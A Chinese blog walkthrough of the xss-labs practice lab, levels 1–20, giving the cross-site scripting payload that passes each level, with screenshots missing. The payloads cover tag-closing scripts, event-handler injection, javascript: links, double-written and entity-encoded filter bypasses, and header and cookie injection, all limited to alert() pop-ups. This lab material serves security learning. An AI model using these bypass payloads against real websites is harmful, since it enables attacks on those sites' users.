XSS-labs(小手手)

安装xss-labs文件到php目录下的www文件夹下

xss-labs level 1

二话不说先看下网页源码:
在这里插入图片描述
没啥头绪但是有个window.location.href=“level2”.php?keyword=test"
在搜索框直接改可以得到这个消息是get方式的
在这里插入图片描述
有了上面的测试下面就简单了直接输,通关:
在这里插入图片描述

xss-labs level2

还是查看源码发现也是get方法:
在这里插入图片描述
输入发现没有用:
在这里插入图片描述
要么就是被过滤了要么就是被闭合了,查看源码看看
在这里插入图片描述
构造语句闭合<input>标签:"><script>alert('xss')</script>
在这里插入图片描述

xss-labs level3

查看网页源码,还是get方法:
在这里插入图片描述
先用常用语句<script>alert('xss')</script>输入后查看源码:(value的值很关键)
在这里插入图片描述
而且很奇怪的是前面显示就少了一块括号:
在这里插入图片描述
这里不输入script标签,试试onclick事件:'οnclick='alert(“xss”)
在这里插入图片描述

xss-labs level4

老样子先输入特定script标签再查看源码,get方法,双引号
在这里插入图片描述
其实和第三关一致,将单引号变成双引号闭合即可:”οnclick=“alert(“xss”)
括号里面改成斜杠也行
在这里插入图片描述

xss-labs level5

老样子先输入再查看:
get方法,重点观察value
在这里插入图片描述
script标签被过滤掉了,再看看onclick标签也被过滤掉了(“οnclick=”alert(“xss”)):
在这里插入图片描述
所以试试<a>标签,构造a标签的payload语句:

"><a href=javascript:alert(/xss/)>

在这里插入图片描述

xss-labs level6

老样子输入再看
get方法 script被过滤了
在这里插入图片描述
我感觉大概率onclick肯定也会被过滤没有试的必要了,用上一题的a标签:

"><a href=javascript:alert(/xss/)>

试了好多啥也没用,就想想大小写是不是也被过滤了:

1"><ScRipt>alert(1)</ScRipt>

在这里插入图片描述

xss-labs level7

输入再看,发现script没了直接变成了空的,所以这边肯定是遇到script的字符串就把她变成空值
在这里插入图片描述
在这里插入图片描述
不信我们可以再试试,只要连在一起就把他变成空的,我这边输入的是scriptscd最后就变成了scd:
在这里插入图片描述
所以我们可以双写来绕过(就是在script中间插入一个script,嵌套script):

"><sscriptcript>alert('xss')</sscriptcript>

在这里插入图片描述

xss-labs level8

输再看
在这里插入图片描述
这边将上面几关都试了然后实在做不出来吧就百度了,这一关的源码发现这一关对大小写、特殊字符、单双引号都进行了过滤处理:
在这里插入图片描述
这里使用的是一种新的绕过:编码绕过,用百度吧在线Unicode编码转义
在这里插入图片描述
将script转义成ASCII再次输入

java&#115;&#99;&#114;&#105;&#112;&#116;:alert(/xss/)

在这里插入图片描述

xss-labs level9(和第八关一样都是编码绕过)

先输入再看:get value
在这里插入图片描述
查看PHP源码发现链接头必须要以http://开头,并且用了函数strpos:
在这里插入图片描述

strpos函数是返回字符串在另一字符串出现的位置,其实反过来想就是包含,所以这边就是要包含http://就行:
所以加的语句有http://就行,和第八关一样,就是加个http://:

java&#115;&#99;&#114;&#105;&#112;&#116;:alert('xsshttp://')

在这里插入图片描述

xss-labs level10

在这里插入图片描述
在这里插入图片描述
type=hidden头一回见,百度了一下:
隐藏域在页面中对于用户是不可见的,在表单中插入隐藏域的目的在于收集或发送信息,以利于被处理表单的程序所使用。浏览者单击发送按钮发送表单的时候,隐藏域的信息也被一起发送到服务器。
就是隐藏起来了,一般是name=keyword type=submit,构造事件:"type='text' onclick="javascript:alert(/xss/)
在这里插入图片描述
在这里插入图片描述

xss-labs level11

又是hidden,和第十关差不多,但是不一样的就是多了个t-ref:
在这里插入图片描述
用第十关的:"type='text' onclick="javascript:alert(/xss/)成功。。。
在这里插入图片描述

xss-labs level12

看网页源码:又是hidden,这关的value值比之前复杂一点
在这里插入图片描述
查看插件中的网络查看请求头发现是useragent:
在这里插入图片描述
那构造payload的时候value值就试试user-agent:
value后的"user-agent" type='text' onclick="javascript:alert(/xss/)
在这里插入图片描述

xss-labs level13

查看源码发现有个t_cook我猜是cookie:
在这里插入图片描述
查看cookie值看看:
在这里插入图片描述
在cookie中构造payload:

Cookie" οnclick="alert(/xss/)" type="text

在bp中修改并且发送可以看到value的值已经发生了改变
在这里插入图片描述

在这里插入图片描述

xss-labs level14

直接没了,忘记截图了反正查了一下就是再点击读取的时候就会出现xss

xss-labs level15

看源码
在这里插入图片描述
百度ng-include语法和作用:
在这里插入图片描述
就是可以包含之前做的文件,查看源码发现是通过src传参:
在这里插入图片描述
构造payload,因为上面是get方法所以直接在网页搜索框中输入:

'level1.php?name=<a href="javascript:alert(/xss/)">'

然后点击蓝色链接:

在这里插入图片描述

xss-labs level16

试试在url中构造payload,发现script和/没了:
在这里插入图片描述
试试上一关的:<img src=1 onerror=alert("xss")>
发现空格已经被实体化了:
在这里插入图片描述
我们把空格进行编码:%0a

<img%0asrc%0a1%0aοnerrοr=alert('xss')>

在这里插入图片描述

xss-labs level17

什么图都没有,点击蓝色链接的话确实会进入18关(亲测),就是17关都没做。。。:

在这里插入图片描述
看参数:在这里插入图片描述
查看PHP源码:

<?php
ini_set("display_errors", 0);
echo "<embed src=xsf01.swf?".htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"])." width=100% heigth=100%>";
?>

这里是通过两个arg传的参数
直接在url中构造payload:arg01=%20onclick&arg02=alert(/xss/)
发现没有任何改变原因是火狐没法加载swf图片,切换到chrome发现可以:
在这里插入图片描述
点击图片完成

xss-labs level18

一开始看没图,其实和上一关一样就是swf火狐不加载,6
在这里插入图片描述
然后直接用上一关的payload直接过,源码也差不多:

arg01=%20onclick&arg02=alert(/xss/)

在这里插入图片描述

xss-labs level19

还是swf我服了
在这里插入图片描述

这题太难了就看了答案:

version&arg02=<a href='javascript:alert(/xss/)'>xss</a>

在这里插入图片描述

xss-labs level20

这题应该和19题一样也是flash但是我没深入 看下答案:

arg01=id&arg02=\"))}catch(e){}if(!self.a)self.a=!alert(1)//%26width%26height

在这里插入图片描述

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值